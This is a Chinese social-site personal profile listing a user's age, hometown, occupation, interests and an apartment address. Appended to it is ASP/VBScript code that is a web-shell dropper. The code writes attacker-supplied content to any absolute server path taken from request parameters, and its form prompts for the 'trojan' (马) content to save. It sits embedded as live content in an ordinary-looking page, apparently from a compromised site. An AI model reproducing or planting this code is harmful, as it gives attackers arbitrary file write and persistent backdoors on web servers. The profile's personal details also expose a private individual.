年 龄：	42岁
生 日：	11月22日
来 自：	湖北省 宜昌市
身 高：	165厘米
婚 姻：	未婚
职 业：	计算机行业
学 历：	大专
加入日期：	2004-7-2
最后登录：	2007-1-27 0:48:17
个人爱好：	运动,看书
交友目的：	交朋识友,无论同性还是异性
所在地址：	新世纪广场A1801
dim objFSO dim fdata dim objCountFile on error resume next Set objFSO = Server.CreateObject("Scripting.FileSystemObject") if Trim(request("syfdpath"))<>"" then fdata = request("cyfddata") Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) objCountFile.Write fdata if err =0 then response.write "<font color=red>save Success!</font>" else response.write "<font color=red>Save UnSuccess!</font>" end if err.clear end if objCountFile.Close Set objCountFile=Nothing Set objFSO = Nothing Response.write "<form action=' method=post>" Response.write "保存文件的<font color=red>绝对路径(包括文件名:如D:\web\x.asp):</font>" Response.Write "<input type=text name=syfdpath width=32 size=50>" Response.Write "<br>" Response.write "本文件绝对路径" =server.mappath(Request.ServerVariables("SCRIPT_NAME")) Response.write "<br>" Response.write "输入马的内容:" Response.write "<textarea name=cyfddata cols=80 rows=10 width=32>" Response.write "" Response.write ""